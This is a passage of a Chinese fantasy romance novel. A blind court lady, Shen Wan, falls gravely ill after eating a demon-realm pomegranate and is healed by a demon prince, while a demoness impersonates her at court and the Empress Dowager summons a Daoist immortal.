“沈娘子想不起我等正常呢,我们五仙和蛇姥姥入住青松院,本就施了术法,叫外间的人不轻易想起来。”
“你们出来甚久了,不回风泽山可以么?”
"京城生乱,只怕风泽山也已封闭,若回去狐长老只会不允我等外出,还不如留在并州有意思。再说妖族修行,各凭缘法,多游历不是坏事。"
灵蛇车腾云飞行,很快来到
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并州城郊外,沈纨感到灵蛇车震动,应是已经落地,也不知到了何处,混沌引着她下来,蛇姥姥收了灵蛇车,混沌要求初九和蛇姥姥收敛气息,然后领着沈纨来到一片屋檐下。
“咦?哎哟!”初九先小声叫出声来。
沈纨完全不知东南西北,随着混沌的引导步行了一阵子,然后站定:“我们这是到了何处?”
“沈姑娘且仔细听来。”
沈纨凝神,听得前方喧哗,还闻到一股脂粉的刺鼻气味,一个爽利的女声道:“铁将军呐,瞧瞧这生辰八字有多好,不但旺夫婿,且子嗣贤孝,必为佳偶。”
她才听了一句就明白了,说媒,有人试图为饕餮做媒!沈纨忍不住扑哧一笑,原来,不单璎珞的爹娘瞧上了饕餮,军中来了如此出挑的青年将官,旁人也会有所行动,她看不见饕餮现在的表情,真是太可惜了。
媒婆巧舌如簧:“左家千金是左老丞相的孙女,丞相如今致仕返乡,这可是钟鸣鼎食之家,左家女郎秉性温柔,自小就同母亲学着管家,人又聪明孝顺,定能助将军把内院打理得井井有条。”
沈纨听到绢帛响动的声音,想来这媒婆手上的人家数量不少。
“将军若是嫌太娇气,老身这里也有飒的,司曹参军的妹子善骑射,有武艺,性情十分响快。”
“我年纪不小了,不需要这些丫头片子。”饕餮的语气很不耐烦。
“哎哟,这可看不大出来。”媒婆谄媚地说道:“年长的也有,譬如东南绸缎庄的金娘子,家财万贯,生得也美貌,头婚的夫婿没福,成婚三年不到就病故,金娘子正想招一赘婿……”
这媒婆妆容甚浓,挥舞着一条大红手绢,她用的脂粉味道呛鼻,狐狸鼻子灵,忍不住打了个喷嚏。
饕餮转过身去,看到站在檐下的沈纨和混沌等人。
“我尚有军务相商,少陪,请回吧。”饕餮不再理会媒婆,撇下他走到混沌身边。
媒婆抬眼一看,民居下一个老妇,一个十四五岁的小姑娘,一个高瘦的盲眼武将,在最前面,站着个仙姿玉容的女郎。
媒婆看到沈纨眼前一亮,不由道:“啊呀啊呀,老身在并州城多年,不知做过多少桩媒,竟没见过如此标志的姑娘,小娘子好生美貌,不知可有了人家不曾?”
她这算是有,还是没有呢?沈纨内心暗暗叹息。
饕餮不耐烦这媒婆多话,走上来前来问:“沈姑娘,你们来做什么?”
“有人托我给你带了些吃的。”沈纨说着举起手中食篮。
这媒婆大概是没认真听沈纨的话语,见一美貌女郎提着食篮来军营探望,这还有什么不明白的,他们看着一点也不像兄妹,却显得关系匪浅。
她咯咯一笑,声音像只老母鸡:“要不怎么说郎才女貌,姻缘天定呢,原来铁将军身边有了这么国色天香的女郎。”
沈纨听得怔住,狐狸愣了,混沌唇边漾起一抹微笑,看热闹不嫌事大,饕餮看出他今天带观众来是想看乐子,不禁眯起眼睛,开始散出了点杀气。
“闭嘴!”
51. 说合X2
魔将隐匿人间,煞气有所收敛,但猛然间拉下脸来说话,还是颇具威慑力,那媒婆被饕餮吓一大跳,内心直犯嘀咕,但伸手不打笑脸人,她勉强笑道:“将军莫气,老身可是真心实意来的,那可都是些好人家的姑娘,不过今日一见,才知真英雄要配美人,冒犯了。”
旁边会察言观色的小兵忙上前来,把媒婆架走了,她去远了同随行的妇人尚在絮叨,原来这铁将军早有仙姿玉貌的意中人,今儿赶上她带着吃食来兵营探望,即便不是夫妻,也该是定了亲事的,不若就回了赵大人钱大人和孙老板等等,让他们另觅佳婿。
沈纨不知人早已去了老远,她受伤后,体质似乎有所变化,莫名地听见了那媒婆和身边妇人的话语,她毕竟还是个官宦人家的闺阁千金,面皮有些薄,魔却不在意这些,混沌听得明明白白,看着饕餮,笑意扩大。
不过这样做倒是有一个好处,烦扰饕餮多日的麻烦因此而解,暂时不会有人来向他说亲了。
魔公子七大近卫,饕餮算是脾气暴戾的,如果在魔界,面对这样的冒犯,他的回应说不定会更原生态,但眼下隐藏身份在人间,不好发作,他最后只是瞪了混沌一眼。
“你们今日来做什么?”
尴尬了,她也是来说媒的。
沈纨手里还提着璎珞给她的篮子,里面放着她准备的金谷酒和一些银丝饼。
“周王府的璎珞姑娘心悦铁将军,她双亲亦对铁将军的英武深为仰慕,托我转交些酒食以慰将军劳苦。”
她把食篮递向前方,饕餮眯起眼睛,混沌在一旁笑不可抑。
空气中死一般地寂静。
“沈姑娘在王府闲着无聊,是特意来消遣的?”
“这些东西准备起来不易,丢了怪浪费的,不若将军就收下,我回去转告她,你说了谢谢,但职责所限,无法接受她的心意。”
“不如就说你有意中人了?”混沌火上浇油,微笑着建议。
沈纨觉得饕餮的表情现在一定很凶,因为初九突然缩到她身后去,蛇姥姥也发出不安的嘶嘶声。
混沌适时往前走了一步:“别怕,虽然我这同侪兴许强些,只要不拼命一时间还是难分胜负的。”
“你们打起来会不会把整个州府都掀了?”
“有可能,届时恐怕得拜托蛇姥姥带你们躲得远些。”
“唉,我也是……受人之托,可惜了这些酒食。”沈纨说着,又略略举高食篮:“饕餮将军,真不要了?”
初九已经缩起脖子,饕餮的气势很有威慑力,寻常魔物察觉到他此刻的煞气,早吓得趴在地上不动了,无奈面前这少女失明,而且,身份特殊,魔将之间对此很有默契,沈纨不是可以随便凶的姑娘。
饕餮一股闷气陷入棉花里,傲然道:“沈姑娘,请回吧。”
“唉,好吧,打扰了,对不住。”沈纨收了食篮,无功而返。
魔将各有所长,混沌就对情绪敏锐,他不用眼睛看就能知道身边万事万物的细节,他意识到沈纨嘴角略现一抹微笑,突然意识到,原来,她也在玩。
也许是长日困在王府之内,有些闷坏了,借着今日的机会,在有限的程度内,小小地戏耍了饕餮一把。
虽然结果不免要令璎珞失望,今天也不算白出来,遇见了个热情洋溢的媒婆,若是璎珞愿意,说不能给她说个不错的人家,沈纨决定回去问问她的意思。
她到底还是把食篮送了回去,璎珞十分失望,却也没拒绝沈纨的建议,她用心备的酒食也没有浪费,一通辗转,这些食物竟然到了青松院的狐狸和蛇姥姥手中,初九看着年小,蛇姥姥显得老迈,虽然外在看着有些瘆人,到老人家平素也只在青松院内,并不常外出,璎珞觉得这一老一少令人怜惜,把食物都送了过去。
蛇姥姥颇好饮酒,狐狸也高兴得很,不过他试图分享的时候,混沌礼貌地拒绝了。
沈纨在从青松院回转自己的居所时,心中颇为好奇,饕餮和混沌似乎对人间的食物没什么兴趣,不由问混沌:“你们不喜欢吃这些吗?平素都吃些什么?”
“吾族自是也有适宜吾族的食物,沈姑娘有兴趣?”
"我能吃吗?"
“有些与凡间也无甚差别,吾族的幽冥酿,色泽深沉若夜,在人间不常见,但滋味醇厚。另有特殊的果物,常人食之,也有温养身体的效用,颇有自诩正道之士,不时涉险进入魔界偷摘灵果。”
“魔界还有果物?”
“自然,魔域焰山一带,有一种宝光石榴,果粒如红宝石,沈姑娘有兴趣?”
她对魔族一无所知,所以什么都是新奇的。
蓝月幽阁内自有食库,虽然魔将不似人类,不会因为断食数日就陷入虚弱,但幽阁内还是贮有各式各样的食物。
几日后,混沌带来了几样果物,虑及沈纨的身体状况,他带来的水果与人间的口味颇为近似,仅供浅尝。
沈纨手中放着混沌所言的宝光石榴,与人间的果物不同,这石榴有着火焰般的核心,使得整个果实摸起来发烫。
“若常人食之将有何影响?”
“此物生于焰山,有耐寒的效果。”
沈纨内心犹疑不定,又实在是好奇,双手稍稍用力,果皮就裂开,露出珠玉一般的果实,恰在此时,一阵朔风灌入园中,宝光石榴像个小香炉般,捧在手中热乎乎的。于是她摘下一粒果肉,试探地咬了一口,滋味很是香甜,她等了一会儿,未见任何异状,不由松了口气:“我想,应当无事。”
魔域的石榴果香气盈口,第一次吃热的水果,感觉非常新鲜。
意想不到的事情陡然发生,沈纨突然觉得气血翻涌,冰火两道气息在体内冲撞,她咳出一大口血,倒在一旁昏了过去。
魔情这几日在军中与周王商议讨敌的对策,混沌将沈纨吐血的事传来,他当即放下军务去见她。沈纨出了这样的意外,混沌判断不能将她留在王府里,果断地将她带去了蓝月幽阁。
“你做得很好,把她留在王府里既治不好,也会引起混乱。”
“属下失职,请公子责罚。”
魔情不语,没料到沈纨吃几粒水果就出了问题,伤势比想象中严重。京城兵变之时,她在火海中遭到重创,全靠魔气将身躯撑住,但肉身不免遭受了破坏,健康的人族食之无碍的东西,原来她会受不了。
沈纨卧在一方黑玉石台上,魔情站在一旁,缓缓地把自己的修为输给她,过一会儿沈
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纨醒来了,觉得浑身疼痛异常。
“我该不会是要死了?”她虚弱地问,身边的青年透着一股寒气,魔公子是以本相在她身旁无疑了。
“这就活腻了吗?黄泉离魔域倒是不远。”
“听起来怪吓人的。”
“你若真死了说不定有更多机会见到我。”
这就,更吓人了……
她本可以反驳两句,但此前冰火两道气息冲撞险些要命,她似乎靠在他胸前,应该是不妥的,但是她没有力气。
“你恐怕要在此间暂留一些时日了。”
“王府怎么办呢?”
正说着话,幽阁内的苍溟镜出现异动,一道缝隙出现在诡谲的镜面上,裂口扩大,里面出现点点星光,那些星光扩散到幽阁内,汇聚成一个半透明的女子身影,水一般的服饰和躯体。
“见过公子。”回魔界已有多月的魔女莫耶出现在幽阁里,发现黑玉台上躺着沈纨,面露讶色,主上在人间无意中把这女孩儿给卷了进来,但始终隐匿身份,发生了什么?她竟然在蓝月幽阁里?
不但靠在他们的主上的怀中,甚至,浑身上下,从里到外都是公子的气息。
魔情头也没抬,声音凉凉地传来:“发生了什么?怎么无令而至?”
莫耶闻言露出笑意:“公子,喜事。幽明潭万事齐备,公子的回归指日可待。”
幽明潭放着他被毁损的躯体,莫耶此言,意味归期可待,不必再以半副残魂留在世间了。
怀中的少女似也有所反应,动了一下,他们身下的黑玉石台是按照魔将的体格所铸,对沈纨来说过高,她现在看不见,稍不注意就有可能掉下去,魔情握住她的手,试图稳住她的身体。
“尚有一事。”莫耶语气陡然严肃起来。
“怎么?”
“说来公子或许难信,那小皇帝,竟然未死。”她顿了顿又道:“此言或不尽确切,他生魂流落至魔界,如今落于幽姬之手。”
沈纨虽然虚弱,但意识尚清醒,听见来了一名女子,向魔公子禀报魔界近况,其中有些信息她还不甚理解,但真正天子竟然魂魄未散,滞留魔域,她听懂了。
“竟然真的没死啊。”
“公子,目下如何处置?”
蓝月幽阁内一阵寂静,魔女和混沌皆不语,安静地等候主君的指令,魔情思考了一阵:“混沌,你回去吧,想法子看好萧誉的生魂。”
“领令。”混沌即刻转身。
他竟然就这么走了,这些魔族突兀地出现,在毫无预兆之下,又离开了,就像风拂过水面,他的气息消失在了蓝月幽阁之内。
沈纨在恍惚间听到轻声的告别:
【再会了,沈姑娘。】
莫耶说道:“此事何不让属下去处理?”
“我正好有别的事要你去做。”
“是,不知公子有何吩咐?”
魔情看向黑玉台的沈纨:“她伤得不轻,需要留在蓝月幽阁休养,你代她去王府当几日沈婕妤吧。”
沈纨就这么在蓝月幽阁里住了下来,而蓝月之下的周王府,潜入了一个魔女。
本来小皇帝就是假的,这下可好,连沈婕妤都是假的了。
52. 长生
面前是一片白茫茫的沼泽,泥浆状的表面突然泛起泡沫,一个人形的生物从泽地里升起来,灰白的泥浆像融化的蜡一样从身体剥落,慢慢浮现出一个女子的面庞,长发,体态纤细,面庞出现了一弯裂口,她咧嘴咯咯地笑了出来,五官愈加清晰,飘忽的声音传出来:
“咯咯咯……沈姑娘……”
沈纨猛地惊醒了,差点从黑玉石台上滚下来,被一团软绵绵的云接住,
又做恶梦了。
她在蓝月幽阁住了几天,黑玉石台又硬又凉,躺在上面很是不适,魔公子不知道用了什么法子,一天后冰冷的石台变成了云朵,睡在里面像裹着云,有丝绵一般的触感,她也不再那么容易掉下去了。
前方靠上的方位传来一个女子不满的声音,她啧了一声道:“你怎么提前醒了呀?”
是魔公子的部下莫耶。
混沌离开了,接替他的是一名沈纨不曾见过的魔女,这几日一直在王府顶替她的身份,沈纨有时会在深夜见到她,相处几日,她发现这女子的身体似乎也没有实体,能够随心所欲地漂浮在半空中,以至于她可以从任何一个方向都听得见莫耶的声音。
这女子自称梦神一族,大概是来自魔域的什么族群,她还从未见过魔族女子,对莫耶容貌颇好奇,只可惜目不能视,莫耶回复:“你睡一觉就知道了。”
她潜入了沈纨的梦境里,没想到真容还未完全显现,沈纨就惊醒了。
沈纨擦着冷汗道:“没关系,我瞧见了,姑娘的容颜,很是……奇妙。”
“真没品位,我可觉得那个样子挺美的呢。”魔女不满,这可是她认真准备的梦境,这凡世的丫头却不懂欣赏。
她瞧着沈纨冷静了一些,又问道:“你饿了吗?翡翠桌上尚有些食物。”
魔将对人间的食物兴趣不很大,莫耶每日都会从王府带些吃食过来,多数时候,她们只在深夜能相互见着对方,沈纨的作息也随之日夜颠倒,但对于她这样的盲女,比之在王府,更察觉不出什么区别,只有在询问时辰的时候,才会有一些时间的概念。
沈纨拨开云朵从黑玉台上下来,魔女引导她来到食案前,一些食物尚有热气,她从中选了一碗冒着热气的肉汤,喝了两口,有股奇怪的药味。
面前又感觉到有什么波动,这一回,是她熟悉的气息出现,魔情公子回来了。
魔情打量着她,比前几日起色又好了些,看起来状态还不错,“你今天都吃了些什么?”
这其实只是一句客套,但莫耶扫了一眼翡翠桌,语气也变了:“唉呀!这个是……虎鞭!”
“虎鞭?你给她吃虎鞭?”
“属下失察。”
沈纨彼时正拿着勺子,刚舀了勺汤,闻言愣了,怪不得她觉得味道有些奇怪呢。不过仔细思量一番,魔族对人间的饮食兴趣不大,魔公子大概是指示莫耶给她了,所以这几日的食物意外地比她在王府还要丰盛得多。
“我就喝了两口。”她放下了勺子:“这些,本应是送去麒麟院的吧?公子有心了。”
但看来,太后还是没能死心,还是安排医官,不管死马活马,先治起来看看效果,兴许有一天奇迹出现,天子重振雄风。
“太后的确是有些急了。”
谢太后近日岂止是心焦,她看罢医官的脉案,简直就是绝望,沈婕妤的伤势尚且有调理好的机会,而天子脉案,换了几个医官,甚至请来民间颇有医名的老郎中,诊视结果都很惨淡。
这令太后极是伤心,但国有危难,哭也不成事,几日后她总算是平复了心情,认真地关注起了周王世子,他父亲是个药罐子,多年来仅有这一个子嗣,若天子果真寿数不永,世子也需早点培养。
但谢太后很快发现,这年仅七岁的孩子,天性十分恶毒,周王多病,王妃个性仁弱,对这仅有的幼子百般溺爱,渐渐纵得无法无天。太后今晨去看他,下人攀在树上替他掏鸟窝玩耍,这孩子拿着小麻雀,却开始撕扯翅膀,挥舞甩动,最后重重地砸在石阶上,麻雀的翅膀几乎撕开,雀口呕出血来,当场就不动了。
看得秋信瞠目结舌,福锦正要扬声通报,谢太后抬手阻止了她,一言不发地抽身离去。
这不是周王世子第一次这么做了,皇帝说要为皇嗣的培养早做准备,但这孩子,哪有一点能为人君的样子。
周王府的西南别院如今成为太后燕居,内外院都有侍女昼夜侍奉,掌灯时分,太后已更衣梳洗毕,侍女们忙着铺床熏香,谢太后而披衣在寝居内踱步,心事重重。
军中也不是时时都有好消息传来,并州面临大军压境之危,齐境内已有十数州倒向徐氏,现在并州面临的压力更大了。
谢明璋手中拿着一个金册,是此前她逃离京城,委托高觉以身涉险,返回皇宫替她寻回的一件皇家秘宝,以一个奇特的黄铜印记封住,因年代久远,看上去如古物一般。
社稷此前遇危,也曾被她寻出,最后化险为夷,没有派上用场。
齐室立国之初,就有此秘宝相传,谢太后与先帝情浅,惟此金册是她与先皇所共之秘,倘若有一日社稷倾危,当启此卷,即便不能力挽狂澜,至少能护佑子孙后代平安。
昔年先帝弥留,密授此册于她,如今社稷生变,皇帝正当少年,却又身有隐疾,难以延嗣,国难当前,主君自言不寿已是不祥,如今外敌环伺,王军势孤,徐氏从当年平定淮王之乱的中坚力量变成了叛臣,局势比之当年更诡谲了。
太后早已还政,国政不便介入更多,唯皇帝将教养储君的任务托付给她,周王仁厚却病弱,还有个性情暴戾的小崽子。她的皇儿十四岁继位,但好歹,勤政,人也聪慧,依然无法遏制世家的权力和野心,遑论这七岁的孩童,即便能够再次弹压叛乱,若让这暴戾的稚子承继大统,江山还有救吗?经得起几次战乱?
忧思过甚,这几日似乎头发都白了好些,谢明璋百般思忖,最终打开了卷轴。
霎时间满室辉光,金册之内只得一张银箔般的书页,薄而极韧,上面铭刻奇怪的道印,启卷后道印发出光来,银光散开,满室繁星,竟然汇聚成一条银色的星河,光耀得像隔开了牛郎织女的银汉,蜿蜒成一条河流,向上流动,穿过屋檐通向天际。
道域·上清境
仙云缭绕的琅嬛玉阙是上清境最大的藏书之地,外形似九重天宫,其中的第九重天阁是个虚境,远观雕梁画栋,气势恢宏,但上到第八重后想再登高只能进入虚无,只有修为已臻化境的仙门高人才能进入,一窥内中乾坤。
今日天阁里来了一名稀客,太衡真人年纪尚轻,已是道域翘楚,修为不满百年,就能得进琅嬛玉阙第九重。驻留此地的阁主太素是一名白发女子,面容显得年轻,并无一丝皱纹,但恒长岁月在她的面庞上依然留下沧桑的气息,她修
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为接近千年,如今肉身归于道法,只留下元魂,在玉阙内洞观天地,接引有能力进入九重天阁的弟子。
“你来时心神不宁,这四十九日闭关静修,如今有何心得?”太素语声空灵,回荡在整个空旷的天阁之内,他们上空是缓慢漂浮的道藏典籍,沿着日月星辰的方位缓慢地流动。
一名身负长剑与拂尘的青年站在她面前,他看起来又像剑客又像道门中人,听得太素前辈询问却只是一声叹息,看上去十分苦恼。
“你如今入门多少年了?”
“如今是第九十年整。”
“宗主引你入门时就知你有红尘未了之事,如今,应是到了了断之时。”
“此去前路迷茫,晚辈的确犹有疑惑。”
太素身侧有一浑天仪,上面的铜珠滚动起来。
“这些年来,浑天仪一直不甚平静,想来下界大大小小的纷争一直未能平息。”
“天道自有其规律,因此弟子犹豫是否该介入其因果。”
他们面前的浑天仪,此刻不仅是铜珠在滚动,还出现了银色的光流,并化成了一些模糊不清的影子,即有人,还有一些像是兽类的东西,来自魔界的凶兽。
太素神情肃然地瞧了一会儿,又道:“加入本门的弟子,倘若来自凡间,随着修为进益,难免要面临天劫,而在天劫之前,他们要面临的第一重劫难,却是尘劫。”
红尘中的凡夫俗子无法与修行人的寿元相较,所以亲族的离世,是他们经历的第一重考验。
而太衡真人,在进入道域之前,收他为徒的宗主就曾言:他的尘劫并不会只有一次。来自他血脉源头的召唤,在时隔九十年后,在下界传出了回响。
“这是你入门前立下的誓言,如今到了践诺之际,去吧,时机将至,该下界了。”
太衡向身影已趋半透明的太素行了一礼,这才转身离去。他脚步如风地步出琅嬛玉阙,玉墀之外候着两名道门的弟子,见到太衡真人出来,迎上来行礼:“见过师叔。”
当中一人道:“师父还有六日出关,届时将会前往少阳峰,与师叔一叙。”
太衡驻足道:“我近期有重要事务,需下界一行,离境的时日不短,若你们师父出关后有急事,传飞书下界,我自会回音。”
“是。”
长剑从太衡的身上飞下来,剑身变长变宽,四周流云聚拢,绣着银色云纹的衣袂随风翻卷,太衡向着远处飘渺的仙山楼台,御剑离开了。
莫耶这几日假扮沈纨暂留王府,虽然扮一个盲女,但几乎什么事都能看在眼里,比如一些婢女仗着沈婕妤失明偷懒怠惰,或是在外院悄声议论时局,也有讨论沈婕妤本人的,艳羡她独得天子宠爱,却又困惑不已,陛下和婕妤的关系好生奇怪。
她去年在人间时,每遇主上离宫,她也会留在宫里扮演天子,但她没想到,一个人间女子的闺阁生活如此无聊,再加上失明,行动受阻,她恪尽职守,平日里人来人往,扮演一个盲女,自然是百无聊赖。
如今已经入夜,但还不很晚,沈纨所住的玉露居外尚有府员在走动,寝居内早已吹熄了灯,今夜值守的婢女是蒹葭,此时正歇在外头,莫耶等候着时辰,预备再晚些回到蓝月幽阁,她突然察觉到不寻常的气息,警觉起来。
情况不对。
不会错,那是极为令魔家所厌恶忌惮的,至清至圣的道门之气。
53. 听壁角
这绝非小事,莫耶当即从床上起来,蒹葭正歇在外间软榻上,犹在半梦半醒之间,魔女动静大了些,蒹葭被惊动,醒了过来。
“娘子,发生了何事?”房中漆黑,只有廊下悬了灯笼,勉强透进些微光进入厅堂内。
莫耶放柔声音道:“你素日辛劳,现在定然觉得很倦乏,早些歇息吧。”
“我……我……”蒹葭的声音变得糊涂起来:“多谢娘子挂怀,那奴婢去休息了。”
魔女的身影立刻消失在寝居之内,隐藏在夜空之上的蓝月幽阁发出微光,她进入幽阁,饕餮和魔情也已经在里面了。
沈纨今夜睡得也不好,有非常混乱的气息在她体内流转,身体忽冷忽热,她无法辨认出远近,只觉得好像听到有人在说话,她迷迷糊糊醒来,辨认出三个不同的声音。
应该是公子和他的两位部下,可是他们现在用的语言她完全听不懂,甚至不能确定他们是不是在用嘴说话。和一群非人的生灵生活在一起,时不时就会受到点惊吓,听着那些她并不明白的魔语,竟然让她感到莫名的恐惧,他们的话语似乎在四面八方流淌,她感觉到压抑的虚无和黑暗,好像四周的空间都扭曲起来。
片刻之后,众魔停止了交谈,魔公子好像叹了口气,然后,有女子的声音趋近她:
“我要走啦,沈姑娘。”
“你这就要离开了?”莫耶来到人间好像还不满一月。
“人间也要变得更纷扰了,保重。”她并不拖泥带水,就这么话别了。幽阁里安静下来,苍溟镜波动的时候,沈纨听到像朔风呼啸的声音,转眼间魔女的身影也消失在漩涡之内。
待饕餮也领令离去之后,魔情这才抬起头来,不远处的沈纨,身影被裹在黑玉石台上缭绕的云气里,勉力撑起身体,墨黑的长发披在肩头,一部分发丝落在身前,身上仅穿着一件丝绸白袍,由于刚睡醒,衣领有点歪,能看到细白的脖颈上有水红色的系带——女孩儿家的里衣。
如果她再清醒些,会意识到和一个男子单独待在一个屋檐下,却只着寝衣很难为情,但她现在看不见,五感被剥夺一感,大概现在还有些迟钝。
“你觉得好些了吗?”魔情走近她。
“方才都发生了些什么?”
“出现了些只有吾族才能察觉的异状,和你们或许没什么相干,不用担心。”
他站在她面前,感觉到不寻常的热气,不由二指并拢,伸手去探她的体温,烫得吓人,就在半个月前,赶上朔月,沈纨身体如要结冰了一般,冻得发抖,今夜又逢满月,她发起烧来。
比先前吐血略好些,但也没好到哪里去,至少她可以回王府了,总不能单独把她撇在幽阁里。
魔情告诉她:“你需要调息,今夜你得留在我身边。”
他没有送她回玉露居,而是去了天子所住的麒麟院,里头值夜的仆役被惊动,本以为天子与周王都在大营,没想到他却在深夜抱着沈婕妤进了麒麟院。
所以不出所料,他们都以为她是来侍寝的。
魔情大踏步进来,一把将她塞到了床上,麒麟院忙碌起来,沈纨身旁的婢女正忙于点香,把汤婆子塞到被褥里暖床,卧房外,又有府员在絮叨,小厨房预备了滋补的药膳,太后特地嘱咐过,陛下近期需要调理。
“朕已经吃到流鼻血了,下去!”寝居的众人被他不由分说撵了出去。
房内静默下来,沈纨眼前一片漆黑,也不知道接下来要做什么,拘谨地坐在床上,魔公子的声音自不远处传来:“衣服。”
她头皮发麻:“都得脱吗?”
“别穿那么多就行了。”
她现在穿得很厚,先前在蓝月幽阁里摸索就花了不少时间,王府婢女本也会协助她更衣,但公子提前把人撵了,她现在要自己来,房间里仅有他们二人,所以难堪得很。
只好略略侧了身体,面向床头,把手放在腰间的系带上,魔情抱着手,看她坐在床沿磨蹭,突然反应过来,这个年纪的姑娘家,她的家庭教育讲究体面,又在乎名节,要脸。
他语气微凉,声音自远处传来:“你指望一个魂魄能做什么?”
其实,魂魄也有魂魄的花样,但她也玩不起。
沈纨脸一红,把那身绣着流云的银丝袄解下来,放在床前,魔情站在远处,怨不得她会难为情,里面那层丝衣确实有点薄了,不可否认,她确实是个很美的姑娘。
几道魔气从他手中飞出,打向她体内的数个穴位,他身形一晃来到沈纨面前,按住她的肩膀:“好了,现在照我说的办。”
这不是普通的风寒或者热症可以形容的感受,好像回到了望月台的火海,连体内的血液也烧起来,混乱的气息在四肢百骸冲撞,又被更强大的气息压制甚至引导。
沈纨很快就浑身湿透,好像一个活人被塞进了煮锅里,渐渐产生了要被烫熟的感觉,她觉得实在是难熬,疲倦地问:“可以等一下再继续吗?”
“不行。”他的回答很严厉。
汗出得好像身体变成了蜡做的,正在缓慢融化,浑身又热又粘。
不过,魔公子对她比想象中有耐心,她对经络一知半解,修为更是一点也没有,有时压根听不懂他在说什么,他也不恼,一次听不明白会再解释一次,还是不懂又多教几遍。
差不多要结束的时候,魔情正打算收回手,沈纨却偏过头来,他掌心向上,正好托住了她的脸颊。
他的魂魄是冰冷的,但她的体温还很烫,就像从火焰山里爬出来遇上一片冰泉,也许是贪恋这一点凉意,她托住了他的手。
她的衣服都湿透了。
天子和沈婕妤今夜共寝,门外的侍女下人们都尽职地守在门外,麒麟院的蔡先生,在王府里是有正经职级的内官,太后早就百般叮嘱,要他们关注陛下的身体,每日送来的膳食汤药,多有补阳之物,这有什么看不明白的,陛下恐怕身体不太好。
所以今夜侍寝,谁也不敢大意,再说,事关国朝延嗣,虽然有些不体面,蔡先生还是竖起耳朵,小心翼翼地留意房中的动静。
一会儿传出来:“衣服脱了。”
又一会儿,沈婕妤似乎受不住,央告道:“……可以等下再继续吗?”
“不行。”陛下年轻气盛,很是严厉,就是不太会怜香惜玉。
这哪里不健康,这很是健康呀!
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>卧房的门突然无预兆地打开,把蔡先生吓一大跳,天子仪容整齐地出现在众人面前,要众人准备热水,沈婕妤需要沐浴更衣。
蔡先生是男子,不便入内,婢女们鱼贯进入伺候,见到靠在床头的沈婕妤,其实她也没有衣衫不整,但看起来很是疲惫,面颊泛红,她出了非常非常多的汗,闻说沈婕妤自宫变后受过伤,失明即由此而起,如今尚需调养,竟然累成这样,众人内心直犯嘀咕,又不敢问。
不久之后,侍婢们自房中出来,送走沈婕妤湿透的寝衣,她在隔间梳洗的时候,魔情坐在内厅里,蔡先生让人送上了小厨房里早就预备下的夜宵。
“大晚上的谁吃这个?”天子表情很是不悦。
蔡先生陪笑道:“陛下,太后用心良苦。”
魔情端起碗不耐烦地应付了两口,撇到一边不再理会。
沈纨这时也沐浴完毕,看着清爽多了,天色未明,尚有休息的时间,蔡先生说着没营养的吉祥话,“恭请皇上圣安,娘子金安”等等,眉开眼笑地携众退下。
今夜非常完美,陛下吃了虎鞭,沈婕妤还侍了寝,二人恩爱融洽,还叫了水,明日若医官知悉,或太后和王妃问起天子体况,应该都会很高兴的,他步履轻快地走了。
沈纨这时已经清醒多了,她钻进床内靠里躺下,魔公子好像消失了一般,一点声音都没有了。
“公子?”
魔情的声音在远处应了一声。
“你不打算休息吗?”
他现在的状况,休息更像是一种入定的状态,并不一定要“躺下”,不过沈纨几乎已挨近了墙,把床让出了好大一片空间。
“怎么突然又不讲究了?”
她脸颊还点烫,也许因为体温还很高,迟疑道:“公子毕竟救了我,如今又在帮我国平乱,再让你受累,过意不去。”
再说,宫里的医案,她在记录上掉过一胎,侍寝记录好几回,不差今夜这一遭,早解释不清了。
其实他真的不必睡,不过,片刻后,床前还是有了点动静,他在她身边躺下了。
真是奇怪,自从知道他的身份之后,他们现在的距离比之前的任何时候都要近,甚至还在一张床上,但她现在并不怎么恐惧了。
“你明天就可以回玉露居了,睡吧。”
既然如此,他小憩片刻也无妨。
银红的纱帐被放下来,完全掩盖了睡床,魔族青年取下了平日里用以惑人的银色面具,露出原本的形貌,枕着手稍事休息,他身旁的少女挨着墙,身体微微蜷起,在他们之间,还有大概一尺多的空余。
但天亮的时候,魔情比她早一些醒过来,身边有一团暖烘烘的火焰,沈纨不知何时滚了他怀里,她体温仍是高,或许是贪凉,她在睡梦中靠近了他。
魔情正想起来,身旁的少女突然动了动,她微微皱着眉,看起来似乎睡得不算很好,魔情用手背去探了探她的体温,她似乎受到了安抚,又慢慢地放松了下来。
他半透明的银发落在她云一般散开在枕席间的乌发上,神使鬼差地,魔情突然伸出手去,摸了摸她的脸颊,并且改了主意。
再让她睡一会儿好了。
54. 殿下
子时已过,并州城外的大营内火光未熄,依然有甲士在演练夜战。漆黑的密林之中突然银光一现,来自上清境的太衡真人来到了人间。
谢太后开启了上清道印,他回应了萧家后人的召唤,道印开启,说明国有危乱,太衡看着火光燃烧的军营,神情严肃。
道印自并州开启,他来到凡间,却并未立时与召唤他的人联系,先瞧了瞧并州的状况,立刻又去京城,并逗留数日,观察民生,暗探宫城。他发现当今是个年老肥胖的天子,酒色财气具备,白日里宫人提供五石散和丹砂服用,至夜又笙歌不断,早朝不住瞌睡,望之不似人君,而主政者的确不是他,另有其人。
国不生变,也不会教他收到讯息,但太衡依然忍不住皱眉,入仙门九十载,早与尘世无涉,至亲皆故去,无牵无挂,但每隔数十年也会闲推天数,一窥下界情状,如今的天子当是一少年,不知为何是如此不堪为用的老皇帝。太衡心中疑惑,疑心是自己修为仍不到位。
往返两地期间,见到数出新添的战场,血染黄沙,规模不很大,但战死者亦逾千,有兵士携同近处百姓,于荒野间收敛尸骸,回收散落的武器装备。
两地的军营都气氛肃杀,厉兵秣马,严阵以待,兵戈未起,却在酝酿之中。
沈纨回到了玉露居,莫耶代替她留在王府期间并未露出什么破绽,但一众婢子得知天子半夜不知用了什么方法把她偷了出去,她竟然在昨夜突然侍寝,着实吓了一跳。
当天值夜的蒹葭尤其紧张,还是沈纨主动劝年长的女官无需责怪,真相实难说明白。
她近日也很是挂念父母,因要备战,沈景赴任并州后反比在京城时更加忙碌,姜夫人牵挂她,却因她此前需要休养,几番不得见,之前玉露居里的沈婕妤是个魔女,如何敢见母亲,好容易终于有了机会,择了个晴好天气,与母亲一同去郊外相叙。此时已入隆冬时节,天气甚寒了。
并州府尚未受战火波及,西郊的观雪台是个合适观景的好去处,此处风少,满开梅花,沈纨虽然看不见雪景,但嗅得梅香,心情也不由疏阔许多。
王府军卫不若皇城禁卫齐备,但也生人勿近,虽能阻断一般人,却拦不住早已能御风而行的太衡,众人浑然不觉近处已有一道者接近。
